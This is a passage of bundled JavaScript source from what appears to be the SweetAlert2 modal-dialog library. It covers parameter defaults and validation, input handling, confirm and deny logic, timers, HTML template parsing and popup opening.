  2833. loaderHtml: "",
  2834. showLoaderOnConfirm: false,
  2835. showLoaderOnDeny: false,
  2836. imageUrl: void 0,
  2837. imageWidth: void 0,
  2838. imageHeight: void 0,
  2839. imageAlt: "",
  2840. timer: void 0,
  2841. timerProgressBar: false,
  2842. width: void 0,
  2843. padding: void 0,
  2844. background: void 0,
  2845. input: void 0,
  2846. inputPlaceholder: "",
  2847. inputLabel: "",
  2848. inputValue: "",
  2849. inputOptions: {},
  2850. inputAutoTrim: true,
  2851. inputAttributes: {},
  2852. inputValidator: void 0,
  2853. returnInputValueOnDeny: false,
  2854. validationMessage: void 0,
  2855. grow: false,
  2856. position: "center",
  2857. progressSteps: [],
  2858. currentProgressStep: void 0,
  2859. progressStepsDistance: void 0,
  2860. willOpen: void 0,
  2861. didOpen: void 0,
  2862. didRender: void 0,
  2863. willClose: void 0,
  2864. didClose: void 0,
  2865. didDestroy: void 0,
  2866. scrollbarPadding: true
  2867. };
  2868. const updatableParams = ["allowEscapeKey", "allowOutsideClick", "background", "buttonsStyling", "cancelButtonAriaLabel", "cancelButtonColor", "cancelButtonText", "closeButtonAriaLabel", "closeButtonHtml", "color", "confirmButtonAriaLabel", "confirmButtonColor", "confirmButtonText", "currentProgressStep", "customClass", "denyButtonAriaLabel", "denyButtonColor", "denyButtonText", "didClose", "didDestroy", "footer", "hideClass", "html", "icon", "iconColor", "iconHtml", "imageAlt", "imageHeight", "imageUrl", "imageWidth", "preConfirm", "preDeny", "progressSteps", "returnFocus", "reverseButtons", "showCancelButton", "showCloseButton", "showConfirmButton", "showDenyButton", "text", "title", "titleText", "willClose"];
  2869. const deprecatedParams = {};
  2870. const toastIncompatibleParams = ["allowOutsideClick", "allowEnterKey", "backdrop", "focusConfirm", "focusDeny", "focusCancel", "returnFocus", "heightAuto", "keydownListenerCapture"];
  2871. const isValidParameter = (paramName) => {
  2872. return Object.prototype.hasOwnProperty.call(defaultParams, paramName);
  2873. };
  2874. const isUpdatableParameter = (paramName) => {
  2875. return updatableParams.indexOf(paramName) !== -1;
  2876. };
  2877. const isDeprecatedParameter = (paramName) => {
  2878. return deprecatedParams[paramName];
  2879. };
  2880. const checkIfParamIsValid = (param) => {
  2881. if (!isValidParameter(param)) {
  2882. warn(`Unknown parameter "${param}"`);
  2883. }
  2884. };
  2885. const checkIfToastParamIsValid = (param) => {
  2886. if (toastIncompatibleParams.includes(param)) {
  2887. warn(`The parameter "${param}" is incompatible with toasts`);
  2888. }
  2889. };
  2890. const checkIfParamIsDeprecated = (param) => {
  2891. if (isDeprecatedParameter(param)) {
  2892. warnAboutDeprecation(param, isDeprecatedParameter(param));
  2893. }
  2894. };
  2895. const showWarningsForParams = (params) => {
  2896. if (params.backdrop === false && params.allowOutsideClick) {
  2897. warn('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`');
  2898. }
  2899. for (const param in params) {
  2900. checkIfParamIsValid(param);
  2901. if (params.toast) {
  2902. checkIfToastParamIsValid(param);
  2903. }
  2904. checkIfParamIsDeprecated(param);
  2905. }
  2906. };
  2907. function update(params) {
  2908. const popup = getPopup();
  2909. const innerParams = privateProps.innerParams.get(this);
  2910. if (!popup || hasClass(popup, innerParams.hideClass.popup)) {
  2911. warn(`You're trying to update the closed or closing popup, that won't work. Use the update() method in preConfirm parameter or show a new popup.`);
  2912. return;
  2913. }
  2914. const validUpdatableParams = filterValidParams(params);
  2915. const updatedParams = Object.assign({}, innerParams, validUpdatableParams);
  2916. render(this, updatedParams);
  2917. privateProps.innerParams.set(this, updatedParams);
  2918. Object.defineProperties(this, {
  2919. params: {
  2920. value: Object.assign({}, this.params, params),
  2921. writable: false,
  2922. enumerable: true
  2923. }
  2924. });
  2925. }
  2926. const filterValidParams = (params) => {
  2927. const validUpdatableParams = {};
  2928. Object.keys(params).forEach((param) => {
  2929. if (isUpdatableParameter(param)) {
  2930. validUpdatableParams[param] = params[param];
  2931. } else {
  2932. warn(`Invalid parameter to update: ${param}`);
  2933. }
  2934. });
  2935. return validUpdatableParams;
  2936. };
  2937. function _destroy() {
  2938. const domCache = privateProps.domCache.get(this);
  2939. const innerParams = privateProps.innerParams.get(this);
  2940. if (!innerParams) {
  2941. disposeWeakMaps(this);
  2942. return;
  2943. }
  2944. if (domCache.popup && globalState.swalCloseEventFinishedCallback) {
  2945. globalState.swalCloseEventFinishedCallback();
  2946. delete globalState.swalCloseEventFinishedCallback;
  2947. }
  2948. if (typeof innerParams.didDestroy === "function") {
  2949. innerParams.didDestroy();
  2950. }
  2951. disposeSwal(this);
  2952. }
  2953. const disposeSwal = (instance) => {
  2954. disposeWeakMaps(instance);
  2955. delete instance.params;
  2956. delete globalState.keydownHandler;
  2957. delete globalState.keydownTarget;
  2958. delete globalState.currentInstance;
  2959. };
  2960. const disposeWeakMaps = (instance) => {
  2961. if (instance.isAwaitingPromise()) {
  2962. unsetWeakMaps(privateProps, instance);
  2963. privateProps.awaitingPromise.set(instance, true);
  2964. } else {
  2965. unsetWeakMaps(privateMethods, instance);
  2966. unsetWeakMaps(privateProps, instance);
  2967. }
  2968. };
  2969. const unsetWeakMaps = (obj, instance) => {
  2970. for (const i in obj) {
  2971. obj[i].delete(instance);
  2972. }
  2973. };
  2974. var instanceMethods = /* @__PURE__ */ Object.freeze({
  2975. __proto__: null,
  2976. hideLoading,
  2977. disableLoading: hideLoading,
  2978. getInput,
  2979. close,
  2980. isAwaitingPromise,
  2981. rejectPromise,
  2982. handleAwaitingPromise,
  2983. closePopup: close,
  2984. closeModal: close,
  2985. closeToast: close,
  2986. enableButtons,
  2987. disableButtons,
  2988. enableInput,
  2989. disableInput,
  2990. showValidationMessage,
  2991. resetValidationMessage,
  2992. update,
  2993. _destroy
  2994. });
  2995. const showLoading = (buttonToReplace) => {
  2996. let popup = getPopup();
  2997. if (!popup) {
  2998. new Swal2();
  2999. }
  3000. popup = getPopup();
  3001. const loader = getLoader();
  3002. if (isToast()) {
  3003. hide(getIcon());
  3004. } else {
  3005. replaceButton(popup, buttonToReplace);
  3006. }
  3007. show(loader);
  3008. popup.setAttribute("data-loading", "true");
  3009. popup.setAttribute("aria-busy", "true");
  3010. popup.focus();
  3011. };
  3012. const replaceButton = (popup, buttonToReplace) => {
  3013. const actions = getActions();
  3014. const loader = getLoader();
  3015. if (!buttonToReplace && isVisible$1(getConfirmButton())) {
  3016. buttonToReplace = getConfirmButton();
  3017. }
  3018. show(actions);
  3019. if (buttonToReplace) {
  3020. hide(buttonToReplace);
  3021. loader.setAttribute("data-button-to-replace", buttonToReplace.className);
  3022. }
  3023. loader.parentNode.insertBefore(loader, buttonToReplace);
  3024. addClass([popup, actions], swalClasses.loading);
  3025. };
  3026. const handleInputOptionsAndValue = (instance, params) => {
  3027. if (params.input === "select" || params.input === "radio") {
  3028. handleInputOptions(instance, params);
  3029. } else if (["text", "email", "number", "tel", "textarea"].includes(params.input) && (hasToPromiseFn(params.inputValue) || isPromise(params.inputValue))) {
  3030. showLoading(getConfirmButton());
  3031. handleInputValue(instance, params);
  3032. }
  3033. };
  3034. const getInputValue = (instance, innerParams) => {
  3035. const input = instance.getInput();
  3036. if (!input) {
  3037. return null;
  3038. }
  3039. switch (innerParams.input) {
  3040. case "checkbox":
  3041. return getCheckboxValue(input);
  3042. case "radio":
  3043. return getRadioValue(input);
  3044. case "file":
  3045. return getFileValue(input);
  3046. default:
  3047. return innerParams.inputAutoTrim ? input.value.trim() : input.value;
  3048. }
  3049. };
  3050. const getCheckboxValue = (input) => input.checked ? 1 : 0;
  3051. const getRadioValue = (input) => input.checked ? input.value : null;
  3052. const getFileValue = (input) => input.files.length ? input.getAttribute("multiple") !== null ? input.files : input.files[0] : null;
  3053. const handleInputOptions = (instance, params) => {
  3054. const popup = getPopup();
  3055. const processInputOptions = (inputOptions) => {
  3056. populateInputOptions[params.input](popup, formatInputOptions(inputOptions), params);
  3057. };
  3058. if (hasToPromiseFn(params.inputOptions) || isPromise(params.inputOptions)) {
  3059. showLoading(getConfirmButton());
  3060. asPromise(params.inputOptions).then((inputOptions) => {
  3061. instance.hideLoading();
  3062. processInputOptions(inputOptions);
  3063. });
  3064. } else if (typeof params.inputOptions === "object") {
  3065. processInputOptions(params.inputOptions);
  3066. } else {
  3067. error(`Unexpected type of inputOptions! Expected object, Map or Promise, got ${typeof params.inputOptions}`);
  3068. }
  3069. };
  3070. const handleInputValue = (instance, params) => {
  3071. const input = instance.getInput();
  3072. hide(input);
  3073. asPromise(params.inputValue).then((inputValue) => {
  3074. input.value = params.input === "number" ? `${parseFloat(inputValue) || 0}` : `${inputValue}`;
  3075. show(input);
  3076. input.focus();
  3077. instance.hideLoading();
  3078. }).catch((err) => {
  3079. error(`Error in inputValue promise: ${err}`);
  3080. input.value = "";
  3081. show(input);
  3082. input.focus();
  3083. instance.hideLoading();
  3084. });
  3085. };
  3086. const populateInputOptions = {
  3087. select: (popup, inputOptions, params) => {
  3088. const select = getDirectChildByClass(popup, swalClasses.select);
  3089. const renderOption = (parent, optionLabel, optionValue) => {
  3090. const option = document.createElement("option");
  3091. option.value = optionValue;
  3092. setInnerHtml(option, optionLabel);
  3093. option.selected = isSelected(optionValue, params.inputValue);
  3094. parent.appendChild(option);
  3095. };
  3096. inputOptions.forEach((inputOption) => {
  3097. const optionValue = inputOption[0];
  3098. const optionLabel = inputOption[1];
  3099. if (Array.isArray(optionLabel)) {
  3100. const optgroup = document.createElement("optgroup");
  3101. optgroup.label = optionValue;
  3102. optgroup.disabled = false;
  3103. select.appendChild(optgroup);
  3104. optionLabel.forEach((o) => renderOption(optgroup, o[1], o[0]));
  3105. } else {
  3106. renderOption(select, optionLabel, optionValue);
  3107. }
  3108. });
  3109. select.focus();
  3110. },
  3111. radio: (popup, inputOptions, params) => {
  3112. const radio = getDirectChildByClass(popup, swalClasses.radio);
  3113. inputOptions.forEach((inputOption) => {
  3114. const radioValue = inputOption[0];
  3115. const radioLabel = inputOption[1];
  3116. const radioInput = document.createElement("input");
  3117. const radioLabelElement = document.createElement("label");
  3118. radioInput.type = "radio";
  3119. radioInput.name = swalClasses.radio;
  3120. radioInput.value = radioValue;
  3121. if (isSelected(radioValue, params.inputValue)) {
  3122. radioInput.checked = true;
  3123. }
  3124. const label = document.createElement("span");
  3125. setInnerHtml(label, radioLabel);
  3126. label.className = swalClasses.label;
  3127. radioLabelElement.appendChild(radioInput);
  3128. radioLabelElement.appendChild(label);
  3129. radio.appendChild(radioLabelElement);
  3130. });
  3131. const radios = radio.querySelectorAll("input");
  3132. if (radios.length) {
  3133. radios[0].focus();
  3134. }
  3135. }
  3136. };
  3137. const formatInputOptions = (inputOptions) => {
  3138. const result = [];
  3139. if (typeof Map !== "undefined" && inputOptions instanceof Map) {
  3140. inputOptions.forEach((value, key) => {
  3141. let valueFormatted = value;
  3142. if (typeof valueFormatted === "object") {
  3143. valueFormatted = formatInputOptions(valueFormatted);
  3144. }
  3145. result.push([key, valueFormatted]);
  3146. });
  3147. } else {
  3148. Object.keys(inputOptions).forEach((key) => {
  3149. let valueFormatted = inputOptions[key];
  3150. if (typeof valueFormatted === "object") {
  3151. valueFormatted = formatInputOptions(valueFormatted);
  3152. }
  3153. result.push([key, valueFormatted]);
  3154. });
  3155. }
  3156. return result;
  3157. };
  3158. const isSelected = (optionValue, inputValue) => {
  3159. return inputValue && inputValue.toString() === optionValue.toString();
  3160. };
  3161. const handleConfirmButtonClick = (instance) => {
  3162. const innerParams = privateProps.innerParams.get(instance);
  3163. instance.disableButtons();
  3164. if (innerParams.input) {
  3165. handleConfirmOrDenyWithInput(instance, "confirm");
  3166. } else {
  3167. confirm(instance, true);
  3168. }
  3169. };
  3170. const handleDenyButtonClick = (instance) => {
  3171. const innerParams = privateProps.innerParams.get(instance);
  3172. instance.disableButtons();
  3173. if (innerParams.returnInputValueOnDeny) {
  3174. handleConfirmOrDenyWithInput(instance, "deny");
  3175. } else {
  3176. deny(instance, false);
  3177. }
  3178. };
  3179. const handleCancelButtonClick = (instance, dismissWith) => {
  3180. instance.disableButtons();
  3181. dismissWith(DismissReason.cancel);
  3182. };
  3183. const handleConfirmOrDenyWithInput = (instance, type) => {
  3184. const innerParams = privateProps.innerParams.get(instance);
  3185. if (!innerParams.input) {
  3186. error(`The "input" parameter is needed to be set when using returnInputValueOn${capitalizeFirstLetter(type)}`);
  3187. return;
  3188. }
  3189. const inputValue = getInputValue(instance, innerParams);
  3190. if (innerParams.inputValidator) {
  3191. handleInputValidator(instance, inputValue, type);
  3192. } else if (!instance.getInput().checkValidity()) {
  3193. instance.enableButtons();
  3194. instance.showValidationMessage(innerParams.validationMessage);
  3195. } else if (type === "deny") {
  3196. deny(instance, inputValue);
  3197. } else {
  3198. confirm(instance, inputValue);
  3199. }
  3200. };
  3201. const handleInputValidator = (instance, inputValue, type) => {
  3202. const innerParams = privateProps.innerParams.get(instance);
  3203. instance.disableInput();
  3204. const validationPromise = Promise.resolve().then(() => asPromise(innerParams.inputValidator(inputValue, innerParams.validationMessage)));
  3205. validationPromise.then((validationMessage) => {
  3206. instance.enableButtons();
  3207. instance.enableInput();
  3208. if (validationMessage) {
  3209. instance.showValidationMessage(validationMessage);
  3210. } else if (type === "deny") {
  3211. deny(instance, inputValue);
  3212. } else {
  3213. confirm(instance, inputValue);
  3214. }
  3215. });
  3216. };
  3217. const deny = (instance, value) => {
  3218. const innerParams = privateProps.innerParams.get(instance || void 0);
  3219. if (innerParams.showLoaderOnDeny) {
  3220. showLoading(getDenyButton());
  3221. }
  3222. if (innerParams.preDeny) {
  3223. privateProps.awaitingPromise.set(instance || void 0, true);
  3224. const preDenyPromise = Promise.resolve().then(() => asPromise(innerParams.preDeny(value, innerParams.validationMessage)));
  3225. preDenyPromise.then((preDenyValue) => {
  3226. if (preDenyValue === false) {
  3227. instance.hideLoading();
  3228. handleAwaitingPromise(instance);
  3229. } else {
  3230. instance.close({
  3231. isDenied: true,
  3232. value: typeof preDenyValue === "undefined" ? value : preDenyValue
  3233. });
  3234. }
  3235. }).catch((error2) => rejectWith(instance || void 0, error2));
  3236. } else {
  3237. instance.close({
  3238. isDenied: true,
  3239. value
  3240. });
  3241. }
  3242. };
  3243. const succeedWith = (instance, value) => {
  3244. instance.close({
  3245. isConfirmed: true,
  3246. value
  3247. });
  3248. };
  3249. const rejectWith = (instance, error2) => {
  3250. instance.rejectPromise(error2);
  3251. };
  3252. const confirm = (instance, value) => {
  3253. const innerParams = privateProps.innerParams.get(instance || void 0);
  3254. if (innerParams.showLoaderOnConfirm) {
  3255. showLoading();
  3256. }
  3257. if (innerParams.preConfirm) {
  3258. instance.resetValidationMessage();
  3259. privateProps.awaitingPromise.set(instance || void 0, true);
  3260. const preConfirmPromise = Promise.resolve().then(() => asPromise(innerParams.preConfirm(value, innerParams.validationMessage)));
  3261. preConfirmPromise.then((preConfirmValue) => {
  3262. if (isVisible$1(getValidationMessage()) || preConfirmValue === false) {
  3263. instance.hideLoading();
  3264. handleAwaitingPromise(instance);
  3265. } else {
  3266. succeedWith(instance, typeof preConfirmValue === "undefined" ? value : preConfirmValue);
  3267. }
  3268. }).catch((error2) => rejectWith(instance || void 0, error2));
  3269. } else {
  3270. succeedWith(instance, value);
  3271. }
  3272. };
  3273. const handlePopupClick = (instance, domCache, dismissWith) => {
  3274. const innerParams = privateProps.innerParams.get(instance);
  3275. if (innerParams.toast) {
  3276. handleToastClick(instance, domCache, dismissWith);
  3277. } else {
  3278. handleModalMousedown(domCache);
  3279. handleContainerMousedown(domCache);
  3280. handleModalClick(instance, domCache, dismissWith);
  3281. }
  3282. };
  3283. const handleToastClick = (instance, domCache, dismissWith) => {
  3284. domCache.popup.onclick = () => {
  3285. const innerParams = privateProps.innerParams.get(instance);
  3286. if (innerParams && (isAnyButtonShown(innerParams) || innerParams.timer || innerParams.input)) {
  3287. return;
  3288. }
  3289. dismissWith(DismissReason.close);
  3290. };
  3291. };
  3292. const isAnyButtonShown = (innerParams) => {
  3293. return innerParams.showConfirmButton || innerParams.showDenyButton || innerParams.showCancelButton || innerParams.showCloseButton;
  3294. };
  3295. let ignoreOutsideClick = false;
  3296. const handleModalMousedown = (domCache) => {
  3297. domCache.popup.onmousedown = () => {
  3298. domCache.container.onmouseup = function(e) {
  3299. domCache.container.onmouseup = void 0;
  3300. if (e.target === domCache.container) {
  3301. ignoreOutsideClick = true;
  3302. }
  3303. };
  3304. };
  3305. };
  3306. const handleContainerMousedown = (domCache) => {
  3307. domCache.container.onmousedown = () => {
  3308. domCache.popup.onmouseup = function(e) {
  3309. domCache.popup.onmouseup = void 0;
  3310. if (e.target === domCache.popup || domCache.popup.contains(e.target)) {
  3311. ignoreOutsideClick = true;
  3312. }
  3313. };
  3314. };
  3315. };
  3316. const handleModalClick = (instance, domCache, dismissWith) => {
  3317. domCache.container.onclick = (e) => {
  3318. const innerParams = privateProps.innerParams.get(instance);
  3319. if (ignoreOutsideClick) {
  3320. ignoreOutsideClick = false;
  3321. return;
  3322. }
  3323. if (e.target === domCache.container && callIfFunction(innerParams.allowOutsideClick)) {
  3324. dismissWith(DismissReason.backdrop);
  3325. }
  3326. };
  3327. };
  3328. const isJqueryElement = (elem) => typeof elem === "object" && elem.jquery;
  3329. const isElement = (elem) => elem instanceof Element || isJqueryElement(elem);
  3330. const argsToParams = (args) => {
  3331. const params = {};
  3332. if (typeof args[0] === "object" && !isElement(args[0])) {
  3333. Object.assign(params, args[0]);
  3334. } else {
  3335. ["title", "html", "icon"].forEach((name, index) => {
  3336. const arg = args[index];
  3337. if (typeof arg === "string" || isElement(arg)) {
  3338. params[name] = arg;
  3339. } else if (arg !== void 0) {
  3340. error(`Unexpected type of ${name}! Expected "string" or "Element", got ${typeof arg}`);
  3341. }
  3342. });
  3343. }
  3344. return params;
  3345. };
  3346. function fire() {
  3347. const Swal3 = this;
  3348. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  3349. args[_key] = arguments[_key];
  3350. }
  3351. return new Swal3(...args);
  3352. }
  3353. function mixin(mixinParams) {
  3354. class MixinSwal extends this {
  3355. _main(params, priorityMixinParams) {
  3356. return super._main(params, Object.assign({}, mixinParams, priorityMixinParams));
  3357. }
  3358. }
  3359. return MixinSwal;
  3360. }
  3361. const getTimerLeft = () => {
  3362. return globalState.timeout && globalState.timeout.getTimerLeft();
  3363. };
  3364. const stopTimer = () => {
  3365. if (globalState.timeout) {
  3366. stopTimerProgressBar();
  3367. return globalState.timeout.stop();
  3368. }
  3369. };
  3370. const resumeTimer = () => {
  3371. if (globalState.timeout) {
  3372. const remaining = globalState.timeout.start();
  3373. animateTimerProgressBar(remaining);
  3374. return remaining;
  3375. }
  3376. };
  3377. const toggleTimer = () => {
  3378. const timer = globalState.timeout;
  3379. return timer && (timer.running ? stopTimer() : resumeTimer());
  3380. };
  3381. const increaseTimer = (n) => {
  3382. if (globalState.timeout) {
  3383. const remaining = globalState.timeout.increase(n);
  3384. animateTimerProgressBar(remaining, true);
  3385. return remaining;
  3386. }
  3387. };
  3388. const isTimerRunning = () => {
  3389. return globalState.timeout && globalState.timeout.isRunning();
  3390. };
  3391. let bodyClickListenerAdded = false;
  3392. const clickHandlers = {};
  3393. function bindClickHandler() {
  3394. let attr = arguments.length > 0 && arguments[0] !== void 0 ? arguments[0] : "data-swal-template";
  3395. clickHandlers[attr] = this;
  3396. if (!bodyClickListenerAdded) {
  3397. document.body.addEventListener("click", bodyClickListener);
  3398. bodyClickListenerAdded = true;
  3399. }
  3400. }
  3401. const bodyClickListener = (event) => {
  3402. for (let el = event.target; el && el !== document; el = el.parentNode) {
  3403. for (const attr in clickHandlers) {
  3404. const template = el.getAttribute(attr);
  3405. if (template) {
  3406. clickHandlers[attr].fire({
  3407. template
  3408. });
  3409. return;
  3410. }
  3411. }
  3412. }
  3413. };
  3414. var staticMethods = /* @__PURE__ */ Object.freeze({
  3415. __proto__: null,
  3416. isValidParameter,
  3417. isUpdatableParameter,
  3418. isDeprecatedParameter,
  3419. argsToParams,
  3420. getContainer,
  3421. getPopup,
  3422. getTitle,
  3423. getHtmlContainer,
  3424. getImage,
  3425. getIcon,
  3426. getIconContent,
  3427. getInputLabel,
  3428. getCloseButton,
  3429. getActions,
  3430. getConfirmButton,
  3431. getDenyButton,
  3432. getCancelButton,
  3433. getLoader,
  3434. getFooter,
  3435. getTimerProgressBar,
  3436. getFocusableElements,
  3437. getValidationMessage,
  3438. getProgressSteps,
  3439. isLoading,
  3440. isVisible,
  3441. clickConfirm,
  3442. clickDeny,
  3443. clickCancel,
  3444. fire,
  3445. mixin,
  3446. showLoading,
  3447. enableLoading: showLoading,
  3448. getTimerLeft,
  3449. stopTimer,
  3450. resumeTimer,
  3451. toggleTimer,
  3452. increaseTimer,
  3453. isTimerRunning,
  3454. bindClickHandler
  3455. });
  3456. class Timer {
  3457. constructor(callback, delay) {
  3458. this.callback = callback;
  3459. this.remaining = delay;
  3460. this.running = false;
  3461. this.start();
  3462. }
  3463. start() {
  3464. if (!this.running) {
  3465. this.running = true;
  3466. this.started = new Date();
  3467. this.id = setTimeout(this.callback, this.remaining);
  3468. }
  3469. return this.remaining;
  3470. }
  3471. stop() {
  3472. if (this.running) {
  3473. this.running = false;
  3474. clearTimeout(this.id);
  3475. this.remaining -= new Date().getTime() - this.started.getTime();
  3476. }
  3477. return this.remaining;
  3478. }
  3479. increase(n) {
  3480. const running = this.running;
  3481. if (running) {
  3482. this.stop();
  3483. }
  3484. this.remaining += n;
  3485. if (running) {
  3486. this.start();
  3487. }
  3488. return this.remaining;
  3489. }
  3490. getTimerLeft() {
  3491. if (this.running) {
  3492. this.stop();
  3493. this.start();
  3494. }
  3495. return this.remaining;
  3496. }
  3497. isRunning() {
  3498. return this.running;
  3499. }
  3500. }
  3501. const swalStringParams = ["swal-title", "swal-html", "swal-footer"];
  3502. const getTemplateParams = (params) => {
  3503. const template = typeof params.template === "string" ? document.querySelector(params.template) : params.template;
  3504. if (!template) {
  3505. return {};
  3506. }
  3507. const templateContent = template.content;
  3508. showWarningsForElements(templateContent);
  3509. const result = Object.assign(getSwalParams(templateContent), getSwalFunctionParams(templateContent), getSwalButtons(templateContent), getSwalImage(templateContent), getSwalIcon(templateContent), getSwalInput(templateContent), getSwalStringParams(templateContent, swalStringParams));
  3510. return result;
  3511. };
  3512. const getSwalParams = (templateContent) => {
  3513. const result = {};
  3514. const swalParams = Array.from(templateContent.querySelectorAll("swal-param"));
  3515. swalParams.forEach((param) => {
  3516. showWarningsForAttributes(param, ["name", "value"]);
  3517. const paramName = param.getAttribute("name");
  3518. const value = param.getAttribute("value");
  3519. if (typeof defaultParams[paramName] === "boolean") {
  3520. result[paramName] = value !== "false";
  3521. } else if (typeof defaultParams[paramName] === "object") {
  3522. result[paramName] = JSON.parse(value);
  3523. } else {
  3524. result[paramName] = value;
  3525. }
  3526. });
  3527. return result;
  3528. };
  3529. const getSwalFunctionParams = (templateContent) => {
  3530. const result = {};
  3531. const swalFunctions = Array.from(templateContent.querySelectorAll("swal-function-param"));
  3532. swalFunctions.forEach((param) => {
  3533. const paramName = param.getAttribute("name");
  3534. const value = param.getAttribute("value");
  3535. result[paramName] = new Function(`return ${value}`)();
  3536. });
  3537. return result;
  3538. };
  3539. const getSwalButtons = (templateContent) => {
  3540. const result = {};
  3541. const swalButtons = Array.from(templateContent.querySelectorAll("swal-button"));
  3542. swalButtons.forEach((button) => {
  3543. showWarningsForAttributes(button, ["type", "color", "aria-label"]);
  3544. const type = button.getAttribute("type");
  3545. result[`${type}ButtonText`] = button.innerHTML;
  3546. result[`show${capitalizeFirstLetter(type)}Button`] = true;
  3547. if (button.hasAttribute("color")) {
  3548. result[`${type}ButtonColor`] = button.getAttribute("color");
  3549. }
  3550. if (button.hasAttribute("aria-label")) {
  3551. result[`${type}ButtonAriaLabel`] = button.getAttribute("aria-label");
  3552. }
  3553. });
  3554. return result;
  3555. };
  3556. const getSwalImage = (templateContent) => {
  3557. const result = {};
  3558. const image = templateContent.querySelector("swal-image");
  3559. if (image) {
  3560. showWarningsForAttributes(image, ["src", "width", "height", "alt"]);
  3561. if (image.hasAttribute("src")) {
  3562. result.imageUrl = image.getAttribute("src");
  3563. }
  3564. if (image.hasAttribute("width")) {
  3565. result.imageWidth = image.getAttribute("width");
  3566. }
  3567. if (image.hasAttribute("height")) {
  3568. result.imageHeight = image.getAttribute("height");
  3569. }
  3570. if (image.hasAttribute("alt")) {
  3571. result.imageAlt = image.getAttribute("alt");
  3572. }
  3573. }
  3574. return result;
  3575. };
  3576. const getSwalIcon = (templateContent) => {
  3577. const result = {};
  3578. const icon = templateContent.querySelector("swal-icon");
  3579. if (icon) {
  3580. showWarningsForAttributes(icon, ["type", "color"]);
  3581. if (icon.hasAttribute("type")) {
  3582. result.icon = icon.getAttribute("type");
  3583. }
  3584. if (icon.hasAttribute("color")) {
  3585. result.iconColor = icon.getAttribute("color");
  3586. }
  3587. result.iconHtml = icon.innerHTML;
  3588. }
  3589. return result;
  3590. };
  3591. const getSwalInput = (templateContent) => {
  3592. const result = {};
  3593. const input = templateContent.querySelector("swal-input");
  3594. if (input) {
  3595. showWarningsForAttributes(input, ["type", "label", "placeholder", "value"]);
  3596. result.input = input.getAttribute("type") || "text";
  3597. if (input.hasAttribute("label")) {
  3598. result.inputLabel = input.getAttribute("label");
  3599. }
  3600. if (input.hasAttribute("placeholder")) {
  3601. result.inputPlaceholder = input.getAttribute("placeholder");
  3602. }
  3603. if (input.hasAttribute("value")) {
  3604. result.inputValue = input.getAttribute("value");
  3605. }
  3606. }
  3607. const inputOptions = Array.from(templateContent.querySelectorAll("swal-input-option"));
  3608. if (inputOptions.length) {
  3609. result.inputOptions = {};
  3610. inputOptions.forEach((option) => {
  3611. showWarningsForAttributes(option, ["value"]);
  3612. const optionValue = option.getAttribute("value");
  3613. const optionName = option.innerHTML;
  3614. result.inputOptions[optionValue] = optionName;
  3615. });
  3616. }
  3617. return result;
  3618. };
  3619. const getSwalStringParams = (templateContent, paramNames) => {
  3620. const result = {};
  3621. for (const i in paramNames) {
  3622. const paramName = paramNames[i];
  3623. const tag = templateContent.querySelector(paramName);
  3624. if (tag) {
  3625. showWarningsForAttributes(tag, []);
  3626. result[paramName.replace(/^swal-/, "")] = tag.innerHTML.trim();
  3627. }
  3628. }
  3629. return result;
  3630. };
  3631. const showWarningsForElements = (templateContent) => {
  3632. const allowedElements = swalStringParams.concat(["swal-param", "swal-function-param", "swal-button", "swal-image", "swal-icon", "swal-input", "swal-input-option"]);
  3633. Array.from(templateContent.children).forEach((el) => {
  3634. const tagName = el.tagName.toLowerCase();
  3635. if (!allowedElements.includes(tagName)) {
  3636. warn(`Unrecognized element <${tagName}>`);
  3637. }
  3638. });
  3639. };
  3640. const showWarningsForAttributes = (el, allowedAttributes) => {
  3641. Array.from(el.attributes).forEach((attribute) => {
  3642. if (allowedAttributes.indexOf(attribute.name) === -1) {
  3643. warn([`Unrecognized attribute "${attribute.name}" on <${el.tagName.toLowerCase()}>.`, `${allowedAttributes.length ? `Allowed attributes are: ${allowedAttributes.join(", ")}` : "To set the value, use HTML within the element."}`]);
  3644. }
  3645. });
  3646. };
  3647. const SHOW_CLASS_TIMEOUT = 10;
  3648. const openPopup = (params) => {
  3649. const container = getContainer();
  3650. const popup = getPopup();
  3651. if (typeof params.willOpen === "function") {
  3652. params.willOpen(popup);
  3653. }
  3654. const bodyStyles = window.getComputedStyle(document.body);
  3655. const initialBodyOverflow = bodyStyles.overflowY;
  3656. addClasses(container, popup, params);
  3657. setTimeout(() => {
  3658. setScrollingVisibility(container, popup);
  3659. }, SHOW_CLASS_TIMEOUT);
  3660. if (isModal()) {
  3661. fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
  3662. setAriaHidden();
  3663. }
  3664. if (!isToast() && !globalState.previousActiveElement) {
  3665. globalState.previousActiveElement = document.activeElement;
  3666. }
  3667. if (typeof params.didOpen === "function") {
  3668. setTimeout(() => params.didOpen(popup));
  3669. }
  3670. removeClass(container, swalClasses["no-transition"]);
  3671. };
  3672. const swalOpenAnimationFinished = (event) => {
  3673. const popup = getPopup();
  3674. if (event.target !== popup) {
  3675. return;
  3676. }
  3677. const container = getContainer();
  3678. popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
  3679. container.style.overflowY = "auto";
  3680. };
  3681. const setScrollingVisibility = (container, popup) => {
  3682. if (animationEndEvent && hasCssAnimation(popup)) {
  3683. container.style.overflowY = "hidden";
  3684. popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
  3685. } else {
  3686. container.style.overflowY = "auto";
  3687. }
  3688. };
  3689. const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
  3690. iOSfix();
  3691. if (scrollbarPadding && initialBodyOverflow !== "hidden") {
  3692. fixScrollbar();
  3693. }
  3694. setTimeout(() => {
  3695. container.scrollTop = 0;
  3696. });
  3697. };
  3698. const addClasses = (container, popup, params) => {
  3699. addClass(container, params.showClass.backdrop);
  3700. popup.style.setProperty("opacity", "0", "important");
  3701. show(popup, "grid");
  3702. setTimeout(() => {
  3703. addClass(popup, params.showClass.popup);
  3704. popup.style.removeProperty("opacity");
  3705. }, SHOW_CLASS_TIMEOUT);
  3706. addClass([document.documentElement, document.body], swalClasses.shown);
  3707. if (params.heightAuto && params.backdrop && !params.toast) {
  3708. addClass([document.documentElement, document.body], swalClasses["height-auto"]);
  3709. }
  3710. };
  3711. var defaultInputValidators = {
  3712. email: (string, validationMessage) => {
  3713. return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid email address");
  3714. },
